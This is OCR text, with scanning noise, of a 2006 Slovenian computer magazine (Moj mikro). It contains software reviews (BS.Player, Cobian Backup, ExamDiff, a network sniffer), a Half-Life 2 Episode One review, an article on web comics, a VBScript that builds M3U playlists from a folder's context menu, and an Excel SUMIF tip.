predvajanju, ampak, v kombinaciji z multimedijsko knjiznico BS.Me-
diaLibrary tudi urejanju multimedijskih vsebin, ki so na trdem disku
osebnega racunalnika. Med pomembnejse funkcije, ki jih omogoca t.i.
»pametna oblika« nove razli¢ice predvajalnika sodijo: prilagodljivost
velikosti okna za filme, vegjezi¢nost, sprememba lo¢ljivosti, zamrznitev
slike, podpora datotekam AV, podpora vklju¢enim podnapisom/poglav-
jem, podpora za zunanje avdio datoteke, podpora digitalnemu izhodu za
datoteke AC3, datoteke INI, razli¢ni nacini predvajanja in $e kaj.

BS.Player 2.0 Pro
Za $e zahtevnejie uporabnike je na voljo, profesionalna razli¢ica, ki ponuja
dodatne mo#nosti in prednosti. Za razliko od brezplacne razliCice je ta brez
reklam. Nastejmo Se prilagodljiv izenacevalnik, podporo za TV-sprejemnik in
naprave za zajem videa, zajem videa v datoteko, vdelan je tudi urejevalnik pod-
napisov. Polna razli¢ica
BS.Player 2.0

ima tudi vmesni pom- ‘ SE— . -
nilnik  (Network File Namenjen: Predvajanju digitalnih vsebin z osebnim
Buffering), izboljtano | racunainikom L
podporo za podnapise Za: Vse v enem, preprost uporabniski vmesnik,
in VMR9, na voljo pa deluje tudi z manj zmogljivimi raCunalniki
je tudi tehni¢na podpo- Proti: Brezplacna razli¢ica vsebuje reklame

Cena: 29,90 evra

ra po elektronski posti. .
Cena profesionalne raz- Spletna stran proizvajalca: www.bsplayer.com
Prodaja: Webteh, d.o0.o

licice je 29,90 evra B
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Cobian Backup 7

Varnostno
kopiranje
na daljavo

lzdelava rezervnih kopij je vecna mora vsakega uporabnika.
Ponavadi tega nihce niti ne dela, Ce ni prisilien v to. Ne
morete verjeti, kako je razsirjeno prepricanje, da je strojna
oprema vsemogocna in za to ni treba narediti ni¢ vec,

PiSe: Ale$ Farkas
ales.farkas@mojmikro.si

obian Bac-
kup, ki ga
je  spisal
Luis Cobi-

an, je majhen in hi-

ter FTP-program za | : e =

i Brasies

izdelavo varnostnih

kopij. Stevilka ne prikazuje njegove razlitice, ampak zgodovino grad-
nje. S FTP-jem pa je misljeno posiljanje Ze izdelanih kopij na oddaljeno
odlagalisce.

Zal program ne podpira protokola SFTP, za kar bodo nekateri upo-
rabniki prikraj$ani. Zato pa pozna FTP prek protokola TLS (Transport
Layer Security). Prek tega boste preprosto izvajali arhiviranje v drugem
FTP-strefniku v lokalni ali oddaljeni omre?ni infrastrukturi. Cobian
Backup podpira tudi shranjevanje varnostnih kopij na veé lokacij oziro-
ma podvajanje osnovne kopije, kar seveda poveca varnost.

Cobian Backup, kot se spodobi obvlada navadni, pove&evalni (inkre-
mentalni) ali na¢in razlicic. Ce se odlogite za prepis, morate dologiti
tudi, koliko razli¢ic naj Se ohrani, preden se odstranijo stare razli¢ice. Pri
povelevalnem nadinu je treba dolotiti, koliko rotacij se bo zgodilo pred
novim posnetkom.

Prek preprostega vmesnika lahko vse upravljate z metodo povleci in
spusti. Prav tako vmesnik obvlada izjeme, ki jih dolo€ite. Najboljse za
vse stare macke pa je ukazna vrstica, s katero krmilite bolj ali manj celo-
tno aplikacijo. Seveda imam v mislih izdelavo pomoznih programc¢kov,
s katerimi lahko krmilite Se kaj drugega. Ker pa zna program »po?reti«
tudi veliko pasovno $irino omre%ja, se ga da omejiti na dolocene dele
in dologen ¢&as. Program pri delu uporablja tudi stiskanje, in sicer zapis
oblike Zip64 za datoteke, vec¢je od 2 GB. Po Zelji obvlada tudi razbijanje
datotek na velikosti CD/DVD-formata. Ker je izdelava varnostnih kopij
ob&utljiva zadeva, zna s Cobian Backup seveda tudi Sifrirati, pri ¢emer
obvlada 128-bitni algoritem Blowfish, 128-bitni Rijndael ali 64 DES.

Dologite lahko tudi opravila, ki se izvajajo pred izvajanjem dologenih
del in po tem. To vam bo prav pri§lo pri ustavljanju storitev, spletnih
arhivov in podobno.

Program je brezplacen, priporocljiv pa je prostovoljni prispevek. Gle-

de na to, kar vam ]
omogota in koliko CObla_n BaCkuP7 - .
Namenjen: Izdelavi varnostnih kopij datotek, sistema

prihranite namesto ! . g
nakupa bajno dragih in prenosu na oddaljeno lokacijo
programov  za  var- Za: Cenovno zelo sprejemljiva reSitev za izdelavo

varnostnih kopij

Proti: Doloceni deli bi lahko bili zmogljive;Si

V pripravi pa je %e iz- Cena: Brezplacen oziroma za prostovoljni prispevek

bolj$ana razli¢ica. Spletni naslov proizvajalca: www.educ.umu.se/$tco-
n bian/cobianbackup.htm

nostno kopiranje, je
izdelek zelo v redu.
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ExamDiff Pro 34

Vizualno
primerjanje
datotek in map

Brez dodatnih malih orodij je lahko Zivljenje v¢asih zelo
nerodno. Ne vem, zakaj se pri izdelavi okenskega okolja nihce
ni spomnil, da bi uporabnik vcasih rad tudi kaj primerjal, pa
najsi gre za posamezne datoteke ali celotne imenike ...

Pise: Ale$ Farka$
ales.farkas@mojmikrosi

| C:AInetpublwwwrooth... r-_.El.?]

‘s ExamDiff Pro ({Unregistered evaluation copy) - C:Mnetpubwwwrootilocalstart. asp
Filas Edt View Navigation Search Help

AP HEF PR ee@ 909¢ ODDDBE + 3¢ A8 a8 H

v| Oske

C-\inetpubwwmsroot locslilart asp &
7 ~ 7 ~
&' Prepare varisbles. &' Prepare variables. -
9

| sbia bia
10bta

10Dim of3, oF3Path 11Dim of35, ofSPath
12Dim sServernams, sServerinst, sPhyspach, :
13Dim sServerIP, sRemotelP
14Dim sPath, oDef3ice, sDefDoc, sDocName, al
14 15
15Dim bSuccess ' This value is 16Dim bSuccess
16Dim iVer * Thi= value i= 17Dim iVer
17 18
19bSuccess = False
20iVer = 0
21
21' Get some server variables to help wic 22' Ger some server variables to help wicth t
22 23
ZdsServername = LCase [Request.ServecrVaria 24 sServernmme = LCase (Request.ServerVariable
ZasServerinst = Reguest.ServerVariables (" ZSs3ecverinst = Request.ServerVarisbles ("IN:
ZEsPhyspath = LCase (Request.ServerVarisbl Z6=Physpath = LCase [Request,ServerVariables
ZEsServerVersion = LCase (Request.ServerVa 27 =3erverVersion = LCase (Requesc.ServerVarit
27sServerIP = LCase (Request.ServerVarisbl Z@s3ecverIP = LCase (Request.ServerVariables

11Dim =3ervername, =3erverinst, =Physpath
12 Dim sServerIP, sRemotelP
13 Dim sPach, oDefSice, sDefDoc, =DocHeme,

' This value iz use
* Thiz value i= use

18bSuccess = False
19iVer = 0
20

280 sRemoceIP = LCase (Requestc.ServerVariab 29 sRemoteIP = LCase (Request.JerverVariable:
2a bt an b
< | ¥ 4 | *
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ati komu okensko ogrodje in ga potem poucevati o tem, kako se

primerjajo datoteke v dosovskem oknu je malce nesramno, se vam

ne zdi? Na sreco se za to najde boljia resitev, kakr$na je ExamDiff.

Ce imate na zalogi velike koli¢ine besedilnih ali binarnih datotek
in celotnih map, je ExamDiff nezamenljiv program. Grafi¢no okolje, v kate-
rem vse urejate s klikom, je precej enostavno in pregledno. Glavni zaslon je
razdeljen na dva dela, v katerem se prikaZeta izbrani datoteki, ki ju Zelimo pri-
merjati. Vse razlike so podrobno razloZene, tako da s primerjavo ne bi smelo
biti tefav. Prav tako so vse razlike lepo vidne, saj so obarvane. Dodatno mo¢
programu pa daje povezava z zunanjimi urejevalniki, s katerimi potem po po-
trebi la%je in takoj odpravite nastale razlike.

Pri ve&jem Stevilu datotek za primerjavo lahko program po kon¢anem opra-
vilu prikaZe tudi podrobno poro¢ilo. ExamDiff lahko nastavimo tudi tako, da
zamenjuje doloene stavke, besede, ¢rke oziroma da spregleda dolocene tipske
napake ali prazen prostor. Vsako datoteko ali mapo je mono tudi »posneti«.
Tako pozneje primerjate celotno posneto vsebino z novo nastalimi ali spreme-
njenimi datotekami ali mapami. Kot sem %e omenil, zna ExamDiff ustvarjati
tudi podrobna poro¢ila. Izpis na zaslon dobite v besedilni ali HTML-obliki.
Vse je lepo prikazano in obarvano v slogu programa. Verjetno bodo program
cenili tako programerji kakor tudi vsi drugi, saj je z vti¢niki dodobra razirljiv.

Tudi vsi tisti, ki veliko .
ExamDiff 3.4 Pro

primerjate razliCice, se h o i
Namenjen: Primerjanju datotek in map

ne bi smeli pritoZevati. ) M R
Manjia razliCica pro- Za: Koristno orodje, ki ga sam operacijski sistem ne

grama je brezplatna, a [pfeHmole, o _
je precej omejena. Za Proti: Premajhna povezanost z drugimi programi
Cena: 35 USD

preizkus bo v redu, po-
tem pa se boste e sami
odlo¢ili. m

Spletni naslov proizvajalca: www.prestosoft.com/
ps.asp?page=edp_examdiff

SoftPerfect Network Protokol Analyzer
Vohljanje po
omrezju

Vohljaci (sniffers) so priljubljeno orodje za pregledovanie in
analiziranje omreZja. Z njihovo pomocjo se da pregledati in

ugotoviti marsikaj. Zal se bolj uporabljajo v zlobne namene
kot v legalne oziroma za to, cemur so sploh namenjeni.

Ales Farkas
ales.farkas@mojmikrosi

=oliFeriect Nelwork scanner WEE‘
File WView Actions Options Help

HEEFAITI AT D@ O
|IPRangeFrom | 192 . 168 . 40 . O |To| 192 . 168 . 40 . 255 | [J Startscanning ~

@ Visit Developer's Web-Site

IP Address Host Mame MAC Address Response Time  Port SHMP
2 i 192168401 MATRIX 7ms
(%] Download
i 19216840131  matica localdomain Oms

? Scanning in progress

4 Detected computer
B Communication device
& Shared piirt device
() Common share
(=]write accessible share

‘t) Password protected share
IPC Interprocess commurication (IPC)

Ready (2 computers) Threads: 0 [

etwork Protokol Analyzer je eden od teh vohljacev. Je eden
redkih v okolju Windows, a zato ni¢ manj zmogljiv. Najboljsi
del programa so filtri. Z njimi preprosto dolo&ite dele, ki vas
zanimajo, in ne zajemate celotnega omre¥ja, ki bi ga bilo treba
Se Cistiti in filtrirati. »Obesite« se lahko neposredno na omre?no kartico,
[P-okvirje, MAC- ali [P-naslov, dolo¢ena vrata oziroma kar na posamezen
paket. S klikom na posamezen paket vam bo grafi¢ni vmesnik dal dreves-
ni pregled vseh vkljucenih paketov. Prav tako dobite zraven vse potrebne
informacije o IP-, UDP-, DNS-zaglavju — ko so seveda uporabljena.

Network Protokol Analyzer vdelano tudi zbirko, kjer hrani naslove
»kandidatov« za pregled. Tam se shranjujejo tako imena racunalnikov
kot njihovi IP- ali MAC-naslovi. Naslednji priboljsek je mo#nost rekon-
strukcije podatkovnih tokov, temelje¢ih na TCP-ju (recimo HTTP), in
njihov prikaz v berljivem formatu. Vse to je na dosegu klika.

Da pa ne bi bilo vse skupaj omejeno samo na nadzor, lahko ustvarite
tudi kak paket in ga usmerite v omre¥je, kar je odli¢no, &e ga uporabite
za testiranje svojih omre#nih naprav (nikakor pa ne priporo¢amo vloma
v druga omre%ja). Vsak paket lahko ustvarite iz ni¢ ali iz %e pripravljenih
predlog. Paketom lahko spreminjate tudi velikost in vsebino. Pakete je
mot posiljati v omreZje tudi na ¢asovne ukaze in po vnaprej zaukazanih
korakih in koli¢inah.

Program ne zahteva dodatnih nastavitev in knjiZnic za dostop do niZjih
transportnih nivojev omre¥ja. Torej tja, kjer navadni smrtniki niti ne
vedo, kaj se dogaja in jih niti ne zanima. Za marsikoga pa je to vir taks-
nih ali druga¢nih in-
formacij. Analizator
je zato nepogresljiv za

SoftPerfect Network Protokol Analyzer
Namenjen: Tistim, ki spremljajo in nadzirajo omrezni

pregledovanje vstop- prometw N .
nih totk omre¥ja in Za: Odlicno vohljasko orodje
naklju¢nih uporabni- Proti: Cena

Cena: 99 USD

kov, ki obi¢ajno po-
¢nejo s svojimi racu-
nalniki marsikaj. W

Spletni naslov proizvajalca: www.softperfect.com/
products/networksniffer/

77



UL al
Half-Life 2 Episode One

Poltretje zivljenje
Gordona Freemana

Podjetje Valve je znano po tem, da se jim nikoli ne mudi z novimi izdajami iger. In
tudi tokrat je tako. Najprej smo Cakali Sest let, da smo dobili Half-Life 2, zdaj pa
smo Cakali leto in pol, da so na trg poslali nadaljevanje, Episode One.

PiSe: Milan Sim¢ic
milan.simcic@mojmikrosi

alf-Life 2, Epi-

sode One, je

neposredno

nadaljevanje
zgodbe Half-Life. Igra se za-
¢ne to¢no na mestu, kjer se
je prej$nja zakljudila. Igra-
lec znova prevzema vlogo
Gordona Freemana, ki
se v prvem nadaljevanju
igre Half-Life 2 srecuje s
posledicami svojih dejanj
v Cityju 17 in Citadeli.
Freeman se znova poveZe
z Alyx Vance in njenim
robotom, skupaj pa nadaljujejo oboroZen upor
proti silam Combine.

Prva epizoda je precej kraj$a kot igra Half-
Life 2, ima pa vse znacilnosti predhodnice.
Znasli se bomo pred razli¢nimi ugankami, ki
jih je treba domiselno resiti. Uporabljeni so
nekateri novi triki, recimo vodenje Alyx z ba-
terijsko svetilko.

Pot skozi igro je klasi¢na in poteka v eni
smeri. Zaiti ali izgubiti se ne moremo. Pot nas
vodi od ene do druge naloge, ki jo moramo
opraviti. Nekatere uganke so kar zahtevne in
marsikdo se bo po pomo¢ zatekel k reitvam,
ki jih najdemo v internetu.

Novost pri igri so tudi komentarji, ki pa zahte-
vajo kar precej delovnega pomnilnika ratunalni-
ka, tako da priporotam, da tisti z nekoliko manj
zmogljivimi ratunalniki to moZnost izpustite.
Komentarji pa ne vplivajo na sam potek igre in

so zgolj informativnega pomena. Razvijalci nam
skozi te komentarje razlagajo, zakaj je posamezen
del igre videti tako, kot ga lahko vidimo.

Pri igri nas znova prepri¢a izvrstna grafika-
Jki je %e kar nekaj Casa zas¢itni znak igre Half-
Life. Pograjali pa bi dolZino igre, ki je precej
krajsa, od polne razlitice Half Life-2. Zdi se,
da bi pri Valvu lahko naredili nekoliko daljso
igro, saj bi vsak rade volje odstel nekoliko vec
denarja za ve¢ uZitka. Zagotovo pa dr#i, da za
svoj denar tudi tokrat dobimo veliko. H

Half-Life 2 Episode One

Kaj: Prvoosebna ZF strelska igra

Za: Napredna umetna inteligenca nasprotnikov
Proti: Ni veCigralskega oziroma deathmatch nacina
Cena: 5400 SIT

Prodaja: Colby, d.o.o.

Spletni naslov: www.igabiba.com

TELEKOMUNIKACHE

/L ZVEZAK JE MOIC
NOVICE IZ SVETA TELEKOMUNIKACIJ
priloga revij Moj mikro, Joker, Stop

Naslednja Stevilka izide v Mojem mikru 5. septembra 2006.

[REVIJE

renesansa stripa

Ko beseda
sreca sliko
... V spletu

Stripu in knjigi se zadnjih 15 let ne pide
dobro - racunalniki, internet, filmi in
druge Cedalje mamljivejSe tehnologije
so pobrale svoj davek: danadnji mladezi
ta arhaicna medija ze dolgo nista ve¢
prva oblika zabave,

PiSe: Matej Frece
matej.frece@mojmikrossi

\V4

e posebej daljse stripovske zgodbe so

v zadnjem desetletju v strasni recesiji,

kajti ljudje zanje enostavno nimajo

Casa. Internet, spoti in reklame, ki v
nekaj sekundah povedo zgodbo neko¢ dveur-
nega filma, so iz ljudi naredili bitja, ki se na
stvari, ki zahtevajo svoj ¢as in trud, enostavno
ne odzovejo ve. Danes mora biti vsebina po-
dana tako, da pritegne pozornost v pi&lih nekaj
sekundah, sicer takoj ponikne v pozabo kolek-
tivne podzavesti.

NOV DOM ZA STRIP

Toda ¢e se ozremo na zadetno obliko stripa,
ugotovimo, da je kot ustvarjen za sodobnega
&loveka: je kratek, jedrnat in zabaven. Zato
ni ¢udno, da je strip v zadnjem desetletju nasel
nov dom - iz Casopisov se je preselil v sveto-
vni splet. Tudi v zgodbi okoli stripa splet slavi
s svojimi lastnostmi, po katerih je tako znan:
prostora je dovolj za prav vse, ni cenzure in
ni rokov. Zato danes v spletu najdete ogrom-
no stripov, tako reko¢ na tiso¢e in tiso¢e. Na
mnoge se lahko narocite, da vam jih dnevno
posiljajo po elektronski posti, drugi, ki izhaja-
jo ob&asno, pa vam obis¢ejo racunalnik preko

RSS-a.
TEMNA PLAT MEDALJE

Stripi v spletu pokaZejo e drugo plat meda-
lje. Ce v Casopisjih po svetu ni dovolj prostora
za vse stripe, so uredniki nekaksen filter, ki lo-
&ijo zrnje od plev in objavijo le najboljse. To
je za nas bralce vsekakor prednost. Dokler se
stripi niso preselili v splet, nismo niti vedeli,
da je v ozadju ogromno nadebudnih avtorjev,
ki nikoli nimajo prilo#nosti objaviti svojih del.
Mnogo dobrih avtorjev, ki so bili zavrnjeni,
lahko tako objavijo svoje stripe, a hkrati jim
druzbo dela stokrat ve& »avtorjev,« ki nimajo
niti dobre ideje, njihovo risanje pa spominja
na sledi kokogi, ki je po nesreci stopila v tinto.
Na spletu nas tako ne Caka obilica kakovost-
nih stripov, temve& morje (pod)povpreénosti,
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iz katerega le tu in tam izstopa kakSen res dober
strip. V nadaljevanju si bomo ogledali nekaj
tak$nih stripov. Od bralca spletnih stripov se
seveda pric¢akuje, da obvlada angles¢ino.

Po osmih letih in pol strip je strip User Fri-
endly (www.userfriendly.org) Se vedno izjem-
no sve?, domiseln in originalen. Dogaja se v
majhnem racunalniskem podjetju, a mu je do

dandanes uspelo ohraniti sve¥ino in ostrino.

»STRIP GENERATOR]I«

Ustvarjanje stripa v spletu je precej prepros-
to: ker so pasice tehni¢no precej nezahtevne za
risanje, najdete v spletu kar nekaj t.i. »strip ge-
neratorjev.« Gre za galerijo skic z glavnimi ju-
naki v razli¢nih pozah, nakar jih postavljate po
svoje, jim pripiSete besedilo in — voila! Postali
ste avtor strin. lasno ie. da v takem primeru

Nor¢uje se iz vseh vidikov ratunalnistva, za-
&ensdi z luknjanjem kartic in prvih besedilnih
pustolovicin pa vse tja do Linuxa, .NET-a in
veligralskega World of Warcraft. Slog risanja
se je po zaCetnem kracanju ustalil na dovolj
dobri risbi, da nimamo ob&utka, da beremo
stripe zdolgoCasnega Solar-

1 HAVE NOWHERE|
T0 PUT MY

SPERMr’

GENCY/

_ pwu?

fenesansa stripa

miv, da je zabaven tudi za nekoga, ki te strasno
priljubljene spletne igre ni nikdar igral (kot
recimo zgoraj podpisana malenkost).

Podobno lep, a Se lepsi slog risanja, ki je na
sre¢o kombiniran z dovolj sme$no-resno pa-
rodijo fantazijskega Zanra, najdete na www.
realmofatland.com. V Atlandu spremljate do-
godivitine klasi¢no lepega fantazijskega heroja
in princa, ki zaradi svoje narcisoidne zagleda-
nosti vase po nesredi povzro¢i lastno smrt, smrt
oleta in nasploh propad svojega kraljestva.
Ker s pomocjo Earovnije oivi, postane zombi,

TATSUYA TSHiDa

TATSUYA ISHIDA
D SEND
N;I*EM 10

ligentnimi dialogi. Tak strip generator najdete
na preprostem naslovu www.stripgenerator.
com, pri nas pa je verjetno najbolj znan tisti
s spletnih strani Mladine, kjer si lahko sami
ustvarite Diarejin strip (www.mladina.si/pro-
jekti/diareja/naredi-sam). Odvet je poudariti,
da tako nimate nobenega nadzora nad grafi¢no
podobo stripa, a ¢e imate v
rokavu kaksen dober vic, ve-
lja poskusiti.

ZGLED ODLICNEGA

STRIPA

Kot primer odli¢nega splet-
nega stripa naj omenimo Sin-
fest (www.sinfest.org). Njegov
avtor z grafi¢ne plati odkrito
kopira koncept legendarnega
Calvina & Hobbesa, a je vse-
binsko popolnoma drugacen.
Kljub temu je prav tako sme-
Sen, iskriv, parodi¢en, cini¢en,
le da se ne ukvarja s problemi
odras¢anja, temvel se (v&a-
sih precej brezkompromisno)
ukvarja s parodiranjem religi-
je, seksa, sodobnih trendov in
seveda odnosov med spoloma.
QOdli¢no branje, ki je v svojih
Sestih letih obstoja postalo
tako priljubljeno, da so zbirke
objavljenih stripov izsle tudi v
klasi¢ni, tiskani obliki (doslej
tri knjige).

RACUNALNISKE TEME

Seveda v spletu ne moremo
mimo stripov, ki se tako ali
drugace dotikajo ra¢unalni-
§tva. Pravzaprav so ti stripi
konec 90. let nekako zaceli
ero spletnih stripov. Tudi teh
je na kupe, zato jih omenimo
le nekaj.

ja, ki jih riSe ob rob zvezka. Najdete ga tudi
v odli¢cnem slovenskem prevodu in sicer na
www.slowwwenia.com/uf.

IGRE, SEKS IN DINOZAVRI

Od ratunalnigkih zanesenjakov se preselimo
k zasvojenim gamerjem. Ctrl-Alt-Del (www.

ctrlaltdel-online.com/comic.
php) se na $aljiv nacin ponor-
Cuje iz hudo odvisnih gamer-
jev. Ceprav ga je avtor pricel
risati kot konji¢ek, je s¢asoma
postal tako priljubljen, da se
je sprva lahko preZivljal samo
z risanjem tega stripa, danes
pa po ameriskih TV-postajah
celo vrtijo risanke, ki temelji-
jo na tem stripu.

Sexy Losers (sexylosers.
com) je neke vrste seks strip,
v katerem si avtor ne po-
stavlja prav nobenih mej. Na
precej smeden nacin obdeluje
razli¢ne obicajne in tudi de-
viantne spolne prakse, kot so
nekrofilija, skatofilija in po-
dobne. Hudo sporna vsebina
stripa, ki ni za tiste z ob&utlji-
vim ¢utom za moralo, je po-
skrbela, da je postal zelo pri-
ljubljen, a hkrati ga nihce ni
%elel sponzorirati ali vzposta-
viti sistem pla¢evanja avtorja,
zato je avtor s koncal $tevilko
244 saj ni imel vec asa zanj.
PoloZnice se pad ne placujejo
same.

Stripe dobijo tudi priljub-
ljene igre. Ustvarijo jih seve-
da fani. Eden izmed taksnih je
Heroes of World of Warcraft
(www.worldofwar.net/comics/
heroesofwow). Je krasno nari-
san in vsebinsko dovolj zani-

a ga to ne moti toliko, da se ne bi odpravil po
svetu Se drugim nuditi svojo »pomoc«. Kmalu
se okoli njega zbere manj$a skupina tako ali
drugade zaostalih herojev in ... svet zaradi njih
Se nikoli ni bil v taki nevarnosti.

Zanimiv primer je Dinosaurus Comics
(www.qwantz.com), katerega avtor sploh ne

#COMIC CRITIC ton

riSe, saj so sliCice v vsaki epizodi popolnoma
enake, le besedilo se spreminja. Nekaj sto
epizod stripa, ki so videti popolnoma enako, a
avtorju po nekaj letih e vedno uspeva nasme-
jati ali zamisliti bralca. Pripravite se na tezka
filozofska besedila.

Nasteli smo le pes¢ico stripov, a nikakor ne
najboljsih ali najslabsih. Stripov je v spletu to-
liko, da bi jih bilo nemogoce vse pregledati ter
oceniti. Tako kot v resni¢nem Zivljenju tudi v
spletu velja pravilo, da ob dobre stripe trite
le po nakljugju ali z dru¥enjem istomisle&ih. A
kljub temu velja omeniti, kje so kategorizirani
repozitoriji povezav na spletne stripe: www.
onlinecomics.net/pages in www.ucomics.
com/comics. U¥ivajte ob poletnem branju!
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samodejna izdelava datotek M3U

Hitro do predvajalnega seznama

Domaca zabava. V glasbeni stolp je prikljucen racunalnik, ki predvaja skladbe v formatu MP3. Na zabavo smo bili pripravljeni
in smo izdelali predvajalne sezname, tako imenovane playliste. Dela je bilo kar precej. A gre tudi enostavneje.

PiSe: Zoran Banovi¢
zoran.banovic@mojmikrossi

ezname skladb, ki jih poznajo pred-

vajalniki, kot so Media Player, Wi-

nAmp in podobni, je mogoce izdelati

bodisi s predvajalnikom samim ali s
posebnim namenskim programom. Ogledali
si bomo, kako je mogo&e seznam m3u izdelati
s majhnim program¢kom oziroma skriptom
VBS.

Kako je videti program oziroma skript,
lahko vidite v okvirju, program createM3U.
vbs pa lahko najdete tudi na MikroCD-ju,
da vam ga ne bo treba prepisovati. Preko-
pirajte ga v zadasno mapo na disku in za-
Yenite. Prav posebnega dela z njim namred
ni, saj morate le potrditi namestitev. In kako
deluje? Vzemimo, da imate na disku mapo,
v kateri so skladbe, ki bi jih radi predvaja-
li. Po namestitvi naega programa je dovolj,
e na imenu mape v Raziskovalcu kliknete
z desno miskino tipko, da se odpre priro¢ni
meni, v katerem izberete m3u generiranje. V
izbrani mapi bo nastala datoteka Ime_mape.
m3u, kjer bo namesto Ime_mape ime mape, ki
smo jo izbrali, vsebovala pa bo vse datoteke
MP3, ki so v tej mapi in njenih podmapah.
Za predvajanje je dovolj, e dvakrat kliknete

Raz3iri

Razisci

Browse with Paint Shop Pro X
M3 generiranje

Odpri

Iskanie ...

Add to Winamp's Bookmark list
Enqueue in Winamp

Play in Winamp

Add to Now Playing List

Add to Playlist...

Play with Media Player

Skupna raba in varnost ...
Izdelava seznamov predvajanja M3U

na datoteko m3u in skladbe se bodo zacele
predvajati.

In kako je program videti? Ce malce po-
gledamo izvorno kodo, vidimo, da so najprej
definirane vse spremenljivke in objekti, ki jih
potrebujemo. Sledi vpis klju¢a v register. Ta
klju¢ vpise generiranje M3U v priro¢ni meni
Raziskovalca. Sledijo vsi potrebni objekti za
namestitev in odstranitev skripta. Funkciji
createM3U() in listFiles() omogocata izdelavo
datoteke M3U;, sledita pa $e namestitvena in
odstranitvena procedura.

Kako pa program&ek odstranimo? Popolno-

Option Explicit

Dim listArgs

Dim gobjWSHShell
| Dim gobjFileSystem
| Dim gobjM3UFile

Dim gstrFolder

' Kljuc registra za vkljucitev v meni

Const constRegkey = »HKEY CLASSES_
R OT\Folder\shel\M3U generiranje\«
I Const constRegKeyUninstall = »HKEY LO-
CAL MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Uninstall\createM3U\«

1 ' Potrebni objekti

Set gobjWSHShell = WScript.CreateObject(-
»WScript.Shell«)

Set gobjFileSystem = CreateObject(»Scripting.
FileSystemObject«)

Set listArgs = WScript.Arguments

If listArgs.Count = O Then
' Ce ni paramentra: Namestitev
installSkript
Else
I listArgs(0) = »-deinstall« Then
' Odstranitev skripta
deinstallSkript
Else
I " Preberi mapo
gstrFolder = listArgs(0)
createM3U gstrFolder
End If
End If

Set listArgs = Nothing
Set gobjWSHShell = Nothing
Set gobjFileSystem = Nothing

" Konec skripta
Wscript.Quit

" Funkcija: createM3U()

'S
B

'Fu,nction createM3U (strFolder)

5

Dim strM3UFile
Dim objFolder

If gobjFileSystem.FolderExists(strFolder) Then

" Then

| gstrFolder, ».«) & vbNewLine

' Prikaz objekta
Set objFolder = gobjFileSystem.GetFolder(s-
trFolder)

" Ime datoteke M3u
strM3UFile = strFolder & »\« & objFolder.
Name & ».m3u«

" Tvorjenje objekta in oppiranje datoteke m3u
Set gobjM3UFile = gobjFileSystem.Create-
TextFile(strM3UFile,true)

' Vistavlajnje datotek v m3u
listFiles objFolder.path

' zapiranje m3u
gobjM3UFile.Cloge
Set gobjM3UFile = Nothing i

else

MsgBox »Mape » & strFolder & » ne naj-
dem!«

End If P

End Function

' q
"Funkcija: listFiles() y

Function listFiles(strFolder)

Dim objFolder
Dim objSubFolder
Dim objFile

If gobjFileSystem.FolderExists(strFolder) Then

/
Set objFolder = gobjFileSystem.GetFolder(s-
trFolder)
For Each objFile In objFolder.Files
If UCase(Right(objFile.Name,4)) = »MP3«
)
gobjM3UFile.Write Replace(objFiIe.Path,’
End If
Next
For Each objSubFolder In objFolder.SubFol-
ders
listFiles objSubFolder.path
Next
; /
else ;
MsgBox »Mape » & strFolder & » ne naj-
dem!« ‘
end if
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ma enostavno, saj je narejen tako, da ga je
mogoc¢e odstraniti prek Nadzorne plose in
njene funkcije dodajanja in odstranjevanja
programov.

end function

' Funkcija: installSkript()

Function installSkript ()

If (MsgBox(»Dodam skript v kontekstni
meni?«, vbYesNo + vbQuestion, »Namestite-
v?«)=vbYes) Then

gobjWSHShell.RegWrite constRegKey &
»command\¢, »««« & WScript.Fullname &
»ee »ee & WScript.ScriptFullName & »««

))«%1«((«

gobjWSHShell.RegWrite  constRegKeyU-
ninstall & »DisplayName«, »VBSkript' Create-
M3U« :
gobjWSHShell.RegWrite constRegKeyUnin-
stall & »DisplayVersion, »1.0«
gobjWSHShell.RegWrite constRegKeyUnin-
stall & »HelpLinke, »http://www.mojmikro.si«
gobjWSHShell.RegWrite constRegKeyUnins

stall & »Publisher«, »MM« »

 gobjWSHShell.RegWrite - constRegKeyU-
Ainstall & »UninstallString«, »««« & WScript.
Fullname & »«« »«« & WScript.ScriptFullName
& KK »«-deinsta”«««

' Konec!
MsgBox »Skript »«« & WScript.ScriptName
& »«« vkljuéen v kontekstni menil«

End If

End Function

' Funkcija: deinstallSkript() 4

Function deinstallSkript ()

L

\
If (MsgBox(»Odstranim skript?«, vbYesNo
+ vbQuestion, »Odstranim?«)=vbYes) Then

gobjWSHS*hell.RegDelete constRegKey &
»command\«

gobjWSHShell:RegDelete constRegKey

gobjWSHShell.RegDelete constRegKeyU-
ninstall {

End If ’

End Function |

bliznjica do seStevkov

Vsote brez razvrscanja

Vcasih moramo v elektronski preglednici sesteti vrednosti, ki ustrezajo dolocenim
pogojem. Obicajen postopek je, da preglednico najprej razvrstimo po teh pogojih,
nato pa izvedemo operacijo seStevanja. A gre tudi enostavneje.

PiSe: Zoran Banovi¢
zoran.banovic@mojmikrosi

zemimo, da smo dobrodelna ustanova
Vin imamo seznam donacij preteklega

leta, razvri¢en po datumu. Vsaka dona-
cija je zapisana tako, da vsebuje datum nakazi-
la, vsoto ter ime in naslov donatorja. Donacije
sprejemamo v petih mestih, in tudi mesto, kjer
je bila sprejeta, je
vpisano v pregledni-

g @ |5 | 9 By @) v odoevors

Donacija, ¢e pa ne, naj jih ignorira. Ena-
ke formule lahko nato vpiSemo $e za druga
mesta, kjer seveda Celje nadomestimo z
ustreznimi imeni.

Tako lahko enostavno ugotovimo, koliko
sredstev smo zbrali na posameznih mestih, ne
da bi pred tem razvrscali tabelo in »kvarili«
ustaljen zapis. Prednost tega nacina je torej v
tem, da zadeva deluje tudi, ko dodajamo nove
donatorije.

i ... Konfaj pregh a

. . { F2 ¥ A =SUMIF(Mesto, Celje”. Donacija)
co. Zdaj nas zanima, g ] i I £ ]
Datum  Znesek Donator Kraj
kako so se posamezna 13,2008 2.000,00 SIT Maribor Donacije Celje=[ 22000 ST]
mesta odrezala pri 3.3.2006| 1.00000 ST | Celje Donacije Koper= 1.800,00 ST |
idobi . d 1.4.2006) 500,00 SIT | Koper Donacije Ljubljana=| 4.250/00 SIT
pridobivanju  sred- 3.4.2006 1.500,00 ST Murska Sobota Donacija Maribor=| 2.000,00 SIT |
i&ai i 4.4.2006| 3.00000 SIT Ljubljana Donacije Murska Sobota=| 4.900,00 SIT
v. Obicajn
stev. Obicaj apoF]e, 542006 1.200,00 SIT Celie
